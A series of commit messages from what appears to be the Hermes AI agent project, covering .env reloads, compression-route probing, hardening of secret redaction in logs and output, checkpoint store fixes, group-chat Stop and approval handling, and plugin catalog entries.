A messaging turn reloads .env before it runs (inside _current_max_iterations); a local session's turn took its saved turn budget instead and skipped that reload with it, so a key rotated in .env reached it only after a gateway restart. Side tasks now read config.yaml, whose ${VAR} references expand against the environment, so a local turn runs the same reload. Its turn budget stays the session's own.
The feasibility probe ran once per agent and lowered the compression trigger to the summariser's window. Now that a cached agent can meet a new compression route mid-session, every path that latches the probe (first near-threshold request, main-model switch, first compaction) records the route it measured: provider, model, URL, context length and the URL of a `providers:` entry the task names. A later request on a different route drops the old ceiling and probes again, measuring the new summariser with the context_length configured now rather than the one captured when the agent was built. A route the check cannot read (a malformed entry) re-arms the probe instead of raising out of the main request. The probe-timing functions move to conversation_compression_feasibility.py and stay re-exported.
An agent marked as probed without a recorded route (set before route tracking existed, or by a caller that sets the latch directly) now keeps its verdict as it did before, instead of being treated as a moved route and probed again. CI caught this on the compaction suites, whose agents set the latch by hand; 28 tests across six files failed with the probe running on a stand-in agent.
The local-turn .env reload ran for --ignore-user-config and --safe-mode sessions too, so a bypass chat read the profile file it promises not to read, and an unreadable .env could fail its turn. The reload now skips bypass sessions; the turn-runner test covers both kinds.

Reported-by: greptile-apps[bot]
The feasibility probe passed the provider entries captured at agent start, so a per-model context_length pin edited later (a replacement summariser on the same endpoint) was ignored and the old pin set the compression trigger. The probe now reads the entries from config.yaml, falling back to the captured list when config cannot be read.

Reported-by: greptile-apps[bot]
A --safe-mode or --ignore-user-config chat got an empty auxiliary section, so the built-in per-task defaults (vision's 120s timeout, goal_judge's 60s, voice_chat's reasoning setting) fell back to the 30s client default. Its side tasks now use the session's own saved section, which holds code defaults only, so the profile is still never read. The bypass test asserts the vision timeout inside a bypass policy_scope.

Reported-by: unsupportedpastels
Measuring the compression model read the profile's providers: entries even inside a --safe-mode or --ignore-user-config chat, the one remaining place such a chat consulted the profile. Inside a bypass session the probe now uses the entries captured at agent start.

Reported-by: unsupportedpastels
The probe-timing functions moved to conversation_compression_feasibility.py but stayed re-exported from conversation_compression.py, against the AGENTS.md rule that internal moves get no re-export shim. Callers (route_binding, agent_runtime_helpers, chat_completion_helpers, turn_preflight) and the feasibility tests now import them from the new module, and the moved names leave conversation_compression's __all__. No behaviour change.

Reported-by: greptile-apps[bot]
The compression route identity recorded the task block and a named entry's URL and default model, but not the context_length pin the probe reads for that model. Lowering only that pin (a replacement summariser on the same endpoint, 900K to 80K) left a warm agent's trigger on the old window. The identity now carries the pin get_custom_provider_context_length resolves for the compression model at the entry's URL. The regression drives the warm path through ensure_compression_feasibility_checked.

Reported-by: helix4u
The latch read the compression route after the probe, so an edit that landed while the probe ran was recorded as measured and the next request skipped re-probing. Each latching path now reads the route first and records that one.

Reported-by: helix4u
A failure cooldown recorded for a retired summariser kept compression paused after the route moved to a working replacement (almost 300s in the reproduction), because nothing cleared it when only the side-task route changed. A detected route move now clears the cooldown through the compressor's own clear (in memory and in the session row), and preflight checks the route before it reads the cooldown, so the same pass can compress.

Reported-by: helix4u
The route identity read a provider entry's context pin only for a task that names the entry. A task with `provider: custom` and its own `base_url` returned early, but the probe still reads the pin of the entry at that URL, so lowering only that pin (900K to 80K) left a warm agent's trigger on the old window. The identity now carries the pin for the route's own URL too.

Reported-by: greptile-apps[bot]
The session-end reaper (78eff4628a, #106742) found leftover processes by
reading /proc/<pid>/environ, so on macOS it scanned nothing. There, e2e
tests that make a client start its own gateway (e.g. the C7 two-tenant
Desktop backend) leave a `gateway run --idle-exit` daemon running as a
launchd job, outside the pytest process tree. The test homes configure
an API server, so the gateway's idle exit keeps reporting
"messaging ['api_server']" and the daemon never exits: ~320 MB per run.
One dev Mac had 22 of them, 11-26 h old.

Read each process's exec-time environment through psutil on every POSIX
host instead, and run the reaper's own test on macOS. That test times
out on base on macOS and passes here; a real C7 run leaves no gateway
behind afterwards.
quoted values, deferring to _JSON_FIELD_RE -- but that rule requires a
quoted KEY, which bare-key YAML never has, so quoted scalars such as
`password: "secret"` / `api_key: "ak_live_..."` leaked verbatim with
redaction on by default (special-char passwords are forced to be quoted
in YAML, so the highest-risk values were exactly the skipped ones).

Drop the lookahead and match either a quoted scalar or an unquoted
token. The quoted alternatives are escape-aware (double-quote \", single
-quote doubling ''), bounded to a single line (LF and CRLF), and
fail-closed for an unterminated quote (masked to end-of-line). _redact_yaml
masks the inner secret while preserving the wrapping quotes; the prose and
URL carve-outs are unchanged. Adds regression tests.
The quoted-scalar YAML pass masked `password: ""`, `api_key: "<your key>"`
and `api_key: "${API_KEY}"`, which main kept readable (the JSON pass skips
an empty value and _redact_db skips the same placeholder shapes). Reuse
_DSN_PW_PLACEHOLDER_RE so docs samples and env refs stay visible.
agent/redact.py validates assignment keys with _has_word_bounded_keyword,
which needs the secret keyword to both START and END on a word boundary
(so `Secretary:` / `tokenizer:` prose is left alone). That also passes
concatenated credential keys in clear: on main `dbpassword: hunter2xyz`,
`dbpassword=hunter2xyz`, `rootpasswd: s3cr3t` and
`app.dbpassword=hunter2xyz` are returned unchanged with force=True.

No prose word ends in `password` / `passwd`, so for those two keywords
only the END boundary is required (_has_password_keyword), and such keys
are password-class: any literal value is masked, as for `db_password`.
`passwordless: enabled` stays readable; all other keywords keep the
two-sided boundary.

4 new concatenation cases fail on main and pass here (the camelCase
`mysqlPassword` already passed); the `passwordless` negatives pass on
both.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
The word-boundary key rule means PGPASSWORD, MYSQL_PWD and SSHPASS never
count as password keys (the keyword is glued onto a prefix), so export,
env dumps, docker -e and systemd Environment= lines leaked them verbatim.
Treat those exact names as credential keys. Bare PWD/OLDPWD (cwd) and
PGPASSFILE (a path) are unchanged.

libpq's space-delimited conninfo (psql "host=db password=x") had no ';'
and skipped the keyword/value connection-string pass. Accept it when the
line carries a companion connection key; an unquoted value ends at
whitespace.
Key patterns now start at the key name behind a fixed-width lookbehind;
the old (?:^|[;\s])\s* prefix rescanned whitespace runs from every offset
(16K spaces before password= took ~30s). Value extents come from a
non-backtracking scanner per grammar: ODBC braces with }} escapes,
ADO.NET doubled quotes, libpq backslash escapes and bare ';' inside
libpq values. One companion-key scan per line.

Reported by @Tsury.
The userinfo password is masked on every path — #34029's pass-through
was about query-string round-trip tokens (magic links / OAuth callbacks
live in the query, never in userinfo), the same reasoning #6396 used
for the bare-token form; code_file keeps f-string {…} templates intact
(#33801's rule). NAME=user:pass pairs under innocuous names are masked
force-only with an 8-char letter-bearing floor, so the issue's negative
controls (host:port, scheme URLs, ISO timestamps, image tags) stay
untouched on every path.
The force-only NAME=user:pass pass destroyed stored values that merely
look colon-y: an ISO timestamp with a fraction (TS=...T12:00:00.123456Z
lost its tail), a letter-bearing image tag (IMAGE=ubuntu:24.04-noble) and
a registry reference (TARGET=registry.example.com:5000/repo lost host,
port and path) — data loss at the persistence boundary, not display.
The password group is now a single token (no '/', ':' or '@'), so a
timestamp tail truncates to digits and a registry path stays whole, and
digit-led dotted version tails (24.04-noble, v1.2.3-alpine) are rejected
outright. '@' no longer ending up in the group also lets a
user:{pw}@host value keep its pure brace expression, to which the
promised #33801 f-string template exemption is now actually applied
(code_file), matching _redact_userinfo_passwords.
The force-only NAME=user:pass rule (#125664) matched single-letter users, so
SRC=C:\Users\admin\Documents\report.pdf collapsed to SRC=C:*** at persistence
boundaries — unrecoverable data loss on a written-back .env. The same pass ate
CHECKSUM=sha256:<hex> digests (#125680 review).

- the user half now needs >=2 characters: a single-letter user: is a Windows
  drive; a secret-keyword NAME still masks via the ENV pass on every path
- a known hash-algorithm name as the user half (sha256:1234..., ubuntu@sha256:...)
  marks an algorithm:digest, not a credential
The userinfo and NAME=user:pass passes masked `https://user:${TOKEN}@host`,
`https://user:<password>@host`, `MY_BASIC=user:${PASSWORD}` (docs samples
main keeps readable for DSNs via _DSN_PW_PLACEHOLDER_RE) and
`TAG=myrepo:latest-release` (a lower-case word tag, never a password).
Fixes #147240 families 2 and 3.

`{"API_TOKEN": "..."}`, `{"DB_PASSWORD": "..."}`, `{"client_secret": "..."}`
leaked because _JSON_FIELD_RE only matches a closed key list, while the
ENV and YAML passes accept affixes. A second JSON pass now takes any
identifier-shaped key, applies the YAML word set at a word boundary plus
the shared assignment gate, and for keys that do not END in a credential
word (`password_policy`, `secret_ref`) masks only opaque values, the
is_secret_field_name policy.

`backup-sk-...`, `backup_sk-...` and `x-ghp_...` leaked because the
prefix matcher's lookbehind rejects `-`/`_` (so `scikit-learn` stays
whole). A separate after-separator matcher keeps the known-prefix +
length shape and additionally requires a 16+ char mixed-class run in
the body, so `backup-sk-learn.txt` and `deploy-sk-prod-deployment-01`
stay readable.
No behaviour change. The ADO.NET/ODBC/libpq scanner from the previous
commits is self-contained; moving it keeps agent/redact.py under the
2,000-line file cap.
The salvaged PRs added ~400 test lines across test_redact.py and two new
files. Keep one masked + one kept-readable case group per family, in both
the head/tail and the non-reusable sentinel mode, in a new file so
tests/agent/test_redact.py stays under its size cap. The only edit left in
test_redact.py is the userinfo contract flip from #125680.

Co-authored-by: r266-tech <r2668940489@gmail.com>
Co-authored-by: liuhao1024 <sunsky.lau@gmail.com>
Co-authored-by: Mark <mark@mtp44.net>
Co-authored-by: arbianshkodra <arbianshkodra@users.noreply.github.com>
The separate after-separator pass doubled the cost of a 200k `-sk-` /
`_ghp_` flood. Fold it into the masking scan (lookbehind `(?<![A-Za-z0-9])`
admits a `-`/`_` before the prefix, the callback keeps a glued match only
when its body is opaque) and group the alternation by first char so each
candidate position is rejected in one step. The opaque-body test walks
16+ char alnum runs with finditer instead of splitting the whole match.
test_browser_exec_child_environment had the probe child print its whole
environment and read it back from browser_exec's output. That output goes
through secret redaction, and this branch now masks JSON keys that
contain a secret word, so "BROWSER_USE_API_KEY": "bu-key" came back as
"***" and the assertion failed on the macOS and Windows lanes.

The test checks what the child receives, not what the output shows. The
probe now writes its view to a file and the test reads it from there.
The assertions are unchanged.
Independent review of 500d5e91cfb found three classes of ordinary output
that the new rules started masking:

- NAME=user:pass ran on any NAME, so force-mode callers (process output,
  session history, approval and MCP paths) turned IMAGE=redis:7-alpine,
  BRANCH=origin:feature-login2, LS_COLORS and Server=tcp:db,1433 into
  NAME=x:***. The rule now needs a NAME that says it holds a Basic pair
  (auth, basic, cred, login, proxy, userpass, userinfo):
  MY_PROXY_BASIC=user:pw and PROXY_CREDS=bob:pw are still masked.
- JSON keys that contain a secret word but don't end in one are metadata
  about it: passwordChanged, password_expires_at, password_policy,
  tokenUrl, secret_id, secret_arn and PASSWORD_STORE_DIR carry
  timestamps, URLs and ids, and the opaque-value test let those through.
  Only keys that end in the credential word (an optional _value suffix
  aside) are masked now, and a true/false/null answer to has_password
  is left alone.
- URL userinfo masked templates and docs samples outside code files:
  f"https://{user}:{pw}@host", user:{password}@ and
  "https://user:password@host" now stay as written everywhere.

Smaller fixes in the same files: a quoted Helm/Jinja template
(password: "{{ .Values.pw }}") stays readable, and "the pwd= flag and
host= flag" is no longer read as a conninfo field. "password = x" with
spaces on both sides still is.

All three leak families from the PR still mask. The new keep-cases fail
on 500d5e91cfb (11 of them) and pass here. The worst adversarial timing
is 0.28 s on 200k characters (9,000 JSON *_token keys).
Fixes three review-bot findings on 500d5e91cfb:

- A braced ODBC password read from a file stayed readable:
  redact_terminal_output("Server=db;UID=app;PWD={Zq7x;LmP2};...",
  "cat appsettings.json") runs with code_file=True, and the template
  exemption took {Zq7x;LmP2} for a format slot. On a ;-delimited line
  only a format slot ({0}, {pw}, {db.password}) or ${VAR} counts as a
  template now, so ODBC's literal braces are masked.
- Affixed JSON keys missed escaped JSON: a tool result wrapping a config
  dump ({"output": "{\"DB_PASSWORD\": \"...\"}"}) and a value carrying
  an escape ("s3cret\\value"). An escaped twin of the affixed-key
  matcher shares the same key policy, and the value grammar now
  consumes \x escape pairs.
- The force-only NAME=user:pass rule matched a prefix of the value, so
  PROXY_DEST=buildhost:Release2026/artifact.tar lost its path. The pair
  must now be the whole value.

The new tests fail on 2e34be9dc4a and pass here.
Delta review of 10680b3d15a found:

- The whole-value lookahead added for PROXY_DEST rejected a Basic pair
  whose quote opens before the NAME, so "MY_PROXY_BASIC=user:pw" in a
  YAML list, a JSON/Python array or a single-quoted string leaked again
  in force mode. Closing quotes, ] and } and a backtick now end the
  value too; a / still does not, so PROXY_DEST keeps its path.
- The ODBC template test accepted only bare identifiers, so code reads
  (cat app.py) masked f-string and C# interpolations:
  {os.environ['DB_PASS']}, {config["Db:Password"]}, {get_pw()},
  {pw!r}, { pw }, {1:s}. A brace opening with a digit or identifier
  and carrying no ; or nested brace is a template now. {Zq7x;LmP2},
  {abc}}def} and {#...} still count as ODBC literals and are masked.

The new cases fail on 10680b3d15a and pass here.
Delta review of 73c68b21330 (P3): widening the code-template test to
cover interpolations also exempted brace literals that open with a
letter or digit, so a code-mode read of appsettings.json left
PWD={P@ssw0rd!}, {Tr0ub4dor&3} and {9f$kL2@pq} readable (main leaks
them too). A template slot never contains @ $ & #, or a ! other than
a !r/!s/!a conversion, so those characters now mark an ODBC literal.
Every interpolation from the previous round ({os.environ['DB_PASS']},
{get_pw()}, {pw!r}, {pw!s:>10}, {1:s}) stays as written.

Still unmasked in code reads, as on main: a brace literal made only of
identifier characters ({hunter2-Secret.99}), which can't be told apart
from {cfg.secret_name}.
The background review thread runs with the finished turn's ContextVars
(propagate_context_to_thread), so it inherits the session owner's
turn-scoped secret prompt. When the review opened a skill whose required
env var is missing (skill_view of the bundled linear skill without
LINEAR_API_KEY), the masked "Enter value for ..." panel popped up on the
user's screen after the turn had already ended, and the review waited up
to the 120s prompt deadline for an answer.

The review already resolves dangerous-command approvals to "deny" without
asking anyone. Give it the matching secret capture: bind a non-interactive
callback for the review fork that reports the setup as skipped. The bound
ContextVar wins over both the turn's viewer prompt and the classic CLI's
process-global callback, and /refine reviews take the same path.
(cherry picked from commit 88b4cb2d6f10bc289940174e57bae98f75ffdf58)
connection-registry.test.ts is over the 2,000-line target, so the code-health ratchet
refuses any growth; the new projection test lives beside it instead.
The roster poll never dials an SSH connection (it must not spawn a remote dashboard every 5 s),
so an SSH bot's row carries no description and the previous commit's /api/profiles projection
never runs for it. Edit profile opened blank, and Duplicate made a copy with no description.

Both actions already ask the bot's own backend for profiles.list (ensureBotMetadata, on the
backend the action is about to use). ensureBotProfile reuses that read and also takes the row's
description, so Edit and Duplicate use what that backend holds now, on every connection kind.

Reported by Greptile on #149444.
A double quote is not URL userinfo. The bare-token class treated a
quoted schema.org URL next to @type as scheme://TOKEN@host and masked
the JSON-LD host. Quote-free tokens still redact.
The colon form had the same JSON-string leak as the bare-token form:
'["https://a.com","u:longpassword1@y"]' read 'a.com","u' as the user and
masked the next string's text. A double quote is not URL userinfo, so the
_URL_USERINFO_PAIR_RE class now excludes it, as the previous commit does
for _URL_BARE_TOKEN_RE.
#149435 masked the password in scheme URLs and Basic pairs (#125664).
A network path with no scheme, such as the SMB/CIFS form in
'mount -t cifs //user:pass@host/share', never reached the "://"-gated
pass, so force=True callers (persistence, egress, session export) still
returned the password in cleartext.

Only masked under force, and only when "//" starts a token (start, space,
quote, '=' or '('), the userinfo is user:pass, and the password is 8+
characters and not a placeholder. Comments ("// TODO: a:b@c"),
protocol-relative URLs ("//cdn.example.com") and "a//b" stay as written.

Ported from #125677 (its scheme-URL and Basic-pair parts already landed
in #149435).

Co-authored-by: Charan Rathore <charan-rathore@users.noreply.github.com>
Two review findings on 22639e3df32, both P3:

- The network-path rule only started a token after whitespace, a quote,
  = or (, so `//user:pw@host` in Markdown, or one in a [a, b] list,
  stayed readable under force. A backtick, comma and [ now open a token
  too.
- //user:%SMB_PASSWORD%@host/share was masked, though %VAR% is the
  Windows-environment placeholder the way ${VAR} is on POSIX. It now
  counts as a placeholder wherever the DSN placeholder set is used.
  Plain DB_PASSWORD=%DB_PASS% assignments keep masking as before.

The new cases fail on 22639e3df32 and pass here.
Review bot (P2, 4480379637): redact_url_credentials=True (what
sanitize_memory_context uses) runs _STRICT_URL_USERINFO_RE after the
patterns this PR fixed. It still let userinfo cross a ", so memory
context turned {"@context":"https://schema.org","@type":"Thing"} into
https://***:***@type. It now excludes " as well; real userinfo inside
a JSON string ({"u": "https://user:pw@host"}) is still masked.
Covered in TestUserinfoStopsAtQuote, which fails on c3207154990.
The installer E2E runs tests/scripts/test_fresh_source_install.py in the
isolated ci-tools environment, which holds only the packages that step
names. d0001c5ba2 made tests/conftest.py's session-end daemon reaper
read process environments through psutil on every POSIX host, so that
environment now dies in pytest_unconfigure with "No module named
'psutil'" after all 3 tests pass, and main has been red on this job
since d0001c5ba2. psutil==7.2.2 matches the core pin in pyproject.toml.
Hermes Cloud updates an agent by replacing its image, but the Desktop app and
the Webapp still offered the in-app updater for it: the status-bar version
pills, About → Version & updates (checker, channel, Update now), the command
palette and right-click "Update Hermes" rows, and update toasts.

A Cloud agent is recognised by its public host (*.agents.nousresearch.com,
staging *.agents.staging-nousresearch.com), the URL the portal gives it:
- a Webapp tab served BY a Cloud agent hides every update target, since the
  app itself comes from that agent;
- native Desktop CONNECTED to a Cloud agent hides only the backend target; the
  app on this machine still updates itself.

The update store refuses check/apply/overlay for a Cloud-owned target too, so
no remaining entry point (toasts, update-everything, contract-skew action)
can start one.
Drives the real check/apply/overlay/start/request functions: a Webapp tab
served by a Cloud agent sends no update request and opens no overlay; native
Desktop connected to Cloud never checks or updates the agent but still checks
and opens its own client update. Red against main's store.
Review round 1 (kshitijk4poor):
- Command Center -> System "Update Hermes" is hidden when Cloud owns the backend
  (it called updateHermes() directly, past every store guard).
- Desktop connected to Cloud keeps the palette / right-click "Update Hermes": the
  generic command now targets this machine's app (updateTargetFor), and the
  everything-flow skips its backend leg for a Cloud agent instead of the whole
  command returning early.
- Toasts that went dead on Cloud: the rpc_out_of_sync toast and the GUI-skew
  toast offer "Reload window" in a Webapp served by Cloud (Cloud replaced the
  image under the tab) instead of an updater that no-ops.
- One Cloud host predicate in apps/shared (isHermesCloudUrl, prod + staging),
  used by the renderer, electron/backend-health and updateEligibility, so a
  Cloud agent saved as a plain URL remote is "skipped (cloud-managed)" in
  Update all instead of getting a hermes update POST.
- About gates the Updates section once; the backend status-bar item returns
  null for Cloud like outside remote mode; checkBackendUpdates returns null for
  a Cloud backend instead of the previous backend's cached status; Settings
  search drops About -> Updates where it does not render.
Electron now imports isHermesCloudUrl by relative path; tsconfig.electron.json
lists each shared file it compiles, so its typecheck failed TS6307.
Adds plugin-catalog/hermes-security.yaml for the Security plugin, merged
into NousResearch/hermes-official-plugins in #287 (pinned to merge
commit f211940). Data-only: tier official, subdir hermes-security,
9 tools and 3 hooks copied from the plugin manifest, floor >=0.21.5,
disclosure taken from the plugin's README and code.
When the checkpointed working directory is HERMES_HOME (or a profile home
under it, the documented way to give a profile a stable terminal.cwd), the
shadow store at <home>/checkpoints/store sits inside the tree being
snapshotted. The shared info/exclude holds relative patterns and cannot
name the store, so every snapshot staged the previous snapshot's packfiles
and the per-project index. The store grew by about its own size per
checkpoint, `git add -A` eventually hit the timeout, and the timed-out add
left indexes/<hash>.lock behind, wedging the project.

_stage_all_args() adds `:(exclude)<base>` and `:(exclude).<base>.lock`
pathspecs to the add when the checkpoint base is inside the working
directory, and the three `add -A` sites (_take, _diff, _safe_restore_plan)
use it. A store outside the working directory keeps the plain add.
An exclude pathspec stops add -A from staging new store paths but leaves
entries already in the index. _take re-seeds the index from the last
checkpoint, so a project snapshotted before the exclusion kept the store
in every later snapshot. Unstage the base after add in _take, and exclude
it from the diff/restore-plan comparisons so an old polluted checkpoint
never reports the store as a change.

Also correct the helper docstring: info/exclude can name the store; the
pathspec is preferred because it works at any depth without rewriting
the store's exclude file.
- A directory that contains $HOME (/home, /Users) is as broad as $HOME itself:
  the snapshot guard now refuses every ancestor of home, not only / and home.
- Hermes' own browser user-data dirs (chrome_cdp_profile/, agent-browser-chrome-*/)
  are excluded: their locked SQLite files froze git add -A on Windows and they
  are never project state.
- A store created by an older build gets its info/exclude refreshed on open, and
  each snapshot drops index entries the excludes now cover, because add -A keeps
  paths it already tracks even after they are excluded.

Co-authored-by: Thomasp23 <100884186+Thomasp23@users.noreply.github.com>
Review round on the snapshot safety PR:

- A full rollback to a checkpoint taken before the store was excluded checked
  the captured store copy out over the live one, rewinding refs and losing
  newer history. The store pathspecs are now excluded from that checkout and
  from a pathspec-selected restore.
- Entries the old tree carries but this build excludes (browser profiles) are
  dropped from the index BEFORE git add -A, so a locked profile file is never
  re-read, and a failed cleanup stops the snapshot instead of retrying the
  same failure each turn. rm --cached needs -f against a re-seeded index.
- The breadth-cap walk also prunes directories matching a slash-less pattern
  such as *.log, as git does.
The help advertises those verbs, but the submit path stores the words
and would send them as the next turn.
The submit path queued every argument, so those verbs were sent to the
model. Route them like the classic CLI and write the change through the
pending-input journal.
Validate captured group chat requests and capability fixtures against the
generated gateway contract, so unsupported fields fail in tests.

(cherry picked from commit 724e28a21b5b6c65a52a806c6b860a07f9e71048)
Hide unavailable actions and file operations using the gateway method list.
Keep the native header, approval cards and history rows.

(cherry picked from commit 13de93b14eeb0aef567773820fe8b067f269da93)
Read only new events and reset on authority changes or a rewound log.
Keep main's unchanged-log identity cache and group context.

(cherry picked from commit f07bdd3a34b3d9531b51aa1f22e7690042812591)
Summarize blocked work, approvals and pending actions beside the roster.
Keep per-member live state and the thread-specific round strip.

(cherry picked from commit 7f9f70c19404e8ffec6f5976d03d46da09098e04)
Give Stop its own pending state and cancellation identity.
Keep the header action available while a send is in flight.

(cherry picked from commit 94eaae6aa79175dc838e0de675198044f6495b13)
Mark only refusals that prove no message was admitted.
Keep committed receipts and preparation recovery authoritative.

(cherry picked from commit 63f6f197f995cc0344c3d26d375eae1e17721cc0)
Retain uncertain send identities until an exact receipt confirms them.
Count requests in the journal and preserve drafts and reply threads.

(cherry picked from commit 9e6124e1b26e6fe88f5efddc0ea253faceab506b)
Offer a read-only reload when saved messages cannot be read.
Keep sending paused until recovery succeeds.

(cherry picked from commit 6fba05b9fd9986568e5537344bfbeafd529987d2)
Show the command or plugin-rule description in the existing approval card.
Offer only supported choices and require the exact pending request.

(cherry picked from commit 720a9ba0b541aed496e5b3608cb8e7c31081f469)
Keep remote media, directives and rich fences inert in shared history.
Open explicit public web links only on a click; retain plain-text fallback.

(cherry picked from commit fabcd9c4f800f9d6532ef723ec65d45600cfbe74)
Explain migration failures and keep earlier messages readable.
Preserve Desktop-driven routing from #148418 and gateway ownership.

(cherry picked from commit 52ef741f458a0e7a899f9c460d5cab3543437179)
Describe capability checks, send recovery, Stop and approval behavior.
Document the gateway-owned and Desktop-driven group chat paths.

(cherry picked from commit 572a99dfdbd04d667918a8e8b2ba13f289ad2952)
Use approval-count wording that works for one or several pending requests.

(cherry picked from commit db574c74120c8f60f0ac8d062f7f82877b7c473e)
Keep capabilities scoped to the group chat owner when the foreground
connection changes; recheck on the owning socket opening.

(cherry picked from commit 676106797d1f30b8830454d4deb15d39221ac3f8)
Hold the next send until every Stop fence behind the prior send settles.
Retain the pending message while Stop is still running.

(cherry picked from commit 1d199a2b4638d87983e247a653b32a5f418734c1)
Restore proven-unsent words as editable drafts after reopening.
Keep the journal entry until a replacement send takes ownership.

(cherry picked from commit e10160cc1a8b8e35fe29f1602b202521c2b0b76f)
Scope migration checks to group chats that reach the gate.
Verify that working group chats hide unadvertised header actions.

(cherry picked from commit 45ba2753770ce95ac02104df9480225e8d89b1a7)
Radix's focus scope dispatches its unmount event from a 0 ms timer. When
the last dialog test in create-agent-lazy-profile closes its dialog, the
timer can fire after the next test file has replaced the jsdom window, and
the whole run fails on an unhandled error. Wait one tick after cleanup.

(cherry picked from commit 868d0a4624ca51cdce2f00aca05c2c0086ae6777)
Keep explicit Stop retries behind their original admission fence. Mint a
fresh identity when callers omit one, and drain every stoppable task on
Disband retries before allowing deletion.

(cherry picked from commit 92bed47fd5b8b6a8ce7071d67fb75515741a3139)
Keep approvals for running, indeterminate and deferred attempts. Retire
stopped or superseded approvals and reject their dispatch using the same
stored member, task and generation check as the visible cards.

(cherry picked from commit 14b42cb47c5fadb1df4c9822b5e19184b81b7cca)
A Send the gateway proves it never admitted (`admitted: false`) already comes
back as an editable draft with "The gateway refused this message. Edit it and
send again." The workspace still rethrew the refusal, so the raw reason code
(`invalid_params`, `permission_denied`) also showed as a red error line above
the transcript. Only a Send that may have posted keeps its error.
"group driver" and "gateway group" are implementation terms; the Bots pane
shows users product nouns only. English strings only; the overlays already
say "group chat" or a neutral equivalent in most languages.
Greptile 'Approval can pass after Stop': the live-attempt read ran before
the policy lock and the approval was dispatched outside it, so a Stop from
another window could commit between the check and the dispatch and the
member's prompt still got answered. The check and dispatch now hold the
lock Stop takes, and Stop retires the stopped attempts' cached approvals
under it, so a concurrent Allow is either delivered while the attempt
still runs or refused.
Greptile 'A saved draft gets overwritten': after a converged shared Send
was refused and handed back, another window retrying it made
replaceCanonicalGroupSend return the original intent, and this window's
held words were replaced by the edit. Words already held are now kept and
the newer edit joins them, so both come back once the shared intent is
finished with.
Review P3-a: until groups.capabilities answered (every room open and
socket reopen, and indefinitely while the read failed) the room hid Stop
and both approval buttons, where main showed Stop whenever the driver was
up. Stop and Deny only end work and an older gateway answers an unknown
method harmlessly, so they stay offered while the list is unknown; Allow,
rename, disband and files still wait for the gateway to list them.
Review P3-b: retrying a Stop whose first reply was lost replays its
cancel_id, which covers only work up to that first fence. Work sent from
another window afterward kept running and the room said nothing was
running. When the replay cancels nothing while the room still works, a
fresh cancel_id fences again.
Rebase review of dbca74508d4 (P3): the paused-at-cap row only got
`busy`. While a Stop was in flight its Continue stayed clickable (the
gateway refused it as "not paused", so the user saw an error line),
and while a Send or Continue was in flight its Stop was greyed even
though the header's Stop still worked. Continue now waits on busy or
a pending Stop; the row's Stop waits only on a pending Stop, matching
the header.
Two days of retained hashed JS/CSS (100+ builds across en and zh-Hans) pushed the compressed Pages artifact to 1.23-1.26 GB, past the 1 GB limit, and the 11:09 deploy timed out syncing. The stale-HTML window the pool protects is ~65 minutes, so 3 hours covers it with margin. A size gate before upload now fails with the real number instead of a Pages timeout.
The 021e5c63 pin (OMH 3.0.0) ships a memory write journal that keeps only
its newest line: the retention filter rejects the writer's own
content_digest key (rlaope/oh-my-hermes#2457). Fixed upstream since v4.0.0.

Declares the six tools registered at the new pin and adds their
disclosure lines.

Signed-off-by: sionic-khope <khope@sionic.ai>
One entry: https://github.com/reda-maizate/hermes-scaleway-provider at
e453e6d273a480b784b21c209849458a86910d9b (I own the repo; admission
rule: owner or major contributor). Pure-python ProviderProfile plugin
(no deps, no JS/TS, no binaries), validated at the pin locally: the
structural gate (912 files OK) and the pinned-source supply-chain gate
(clone at the sha + `hermes plugins validate --install-deps` passed).
The credential is SCW_SECRET_KEY, ambient by design so the provider is
never auto-detected; the description carries the required disclosure
sentence (prompts, tool schemas and the key go to api.scaleway.ai plus
a /v1/models probe).
60225b7 moves the plugin into the repo's scaleway-provider/ subdirectory
(what `hermes plugins install` publishes is exactly the plugin; tests,
fixtures and CI stay outside it), so the entry gains subdir, and adds
requires_hermes: ">=0.22" — the profile uses the models_dev_id and
ambient_credentials plugin fields that entered main on 2026-10-25, and
released 0.21.5 does not carry them: without a floor, the loader there
swallows the profile's TypeError into a silent "provider scaleway not
found". Land this entry only with (or after) the first Hermes release
carrying those fields, and confirm the version number when it tags — the
entry's requires_hermes then holds older installs with "Update Hermes to
install it" instead of shipping a dead plugin.

The description also drops the stale "merged catalog" phrasing: the picker
shows the live /v1/models list, and the curated tool-calling fallback list
stands in only when the probe fails.
One data-only file pinning https://github.com/scaleway/hermes-scaleway-provider
at 685726e5d544f84384d619e979b7a93359bdec55, subdir scaleway-provider,
requires_hermes >=0.22.6 (the first release carrying the models_dev_id and
ambient_credentials profile fields; 0.22.0 through 0.22.5 lack them and the
floor keeps their loader from swallowing the profile's TypeError into a
silent "provider scaleway not found").

Owner-submitted: the plugin is maintained in the Scaleway organization and
I am its author. Pure-python ProviderProfile plugin (no deps, no JS/TS, no
binaries) with its own CI running the tests and plugins validate against
v0.22.6 and main. The credential is SCW_SECRET_KEY, ambient by design so the
provider is never auto-detected; the description carries the required
disclosure sentence (prompts, tool schemas and the key go to api.scaleway.ai
plus a /v1/models catalog probe).
Addresses item 3 of the review: the old name read as Nous's own Hermes
Desktop app. The entry, the pinned subdir and the image follow the plugin
rename in hermes-agent-awesome-plugins; the pin moves to 8b18b89, which also
carries the approval-gate and pinned-install fixes from 1.0.2. Version stays
1.0.2 because no behaviour changed.
Two read-only tools over Windows autostart. win_startup_table sweeps the six
Run/RunOnce registry keys (HKCU, HKLM, both 32-bit views) and the two Startup
folders, and folds in Explorer's StartupApproved verdicts, so 'switched off in
Task Manager' becomes an answer Win32_StartupCommand has no field for; approval
records uninstalled programs leave behind are reported as leftovers, unknown
state bytes surfaced as-is. win_startup_detail resolves the command the way the
loader does (quoting, arguments, environment variables, unquoted paths with
spaces by longest existing prefix) and says whether the binary is still on disk.
Startup folders are read through Explorer's User Shell Folders values, so
OneDrive-redirected folders are found.

Pin a2162423 = the monorepo head; the admission validator passes 15/15 with zero
warnings and the 16-test suite (11 unit including an import behind a winreg
blocker + 5 live) passes on the working copy and inside the pin tarball. The
whole sweep is registry and directory reads only - about a millisecond for three
Run values and two folders on the writing machine, no PowerShell, no WMI.
`platforms: []` is not neutral here. The site renders
`plugin.platforms?.length ? … : "Linux, macOS, Windows"`, so the empty list
advertises this entry as working on Windows, which it never has: `pass` is a
`#!/usr/bin/env bash` script (bash + gpg + git + tree) and the source calls it
through `subprocess.run(["pass", ...])` / `shutil.which("pass")`, neither of
which can execute a script on Windows outside WSL/Cygwin/MSYS2. There is no
`fcntl`/`getuid`/`termios` elsewhere in the path — the bash dependency is the
whole constraint.

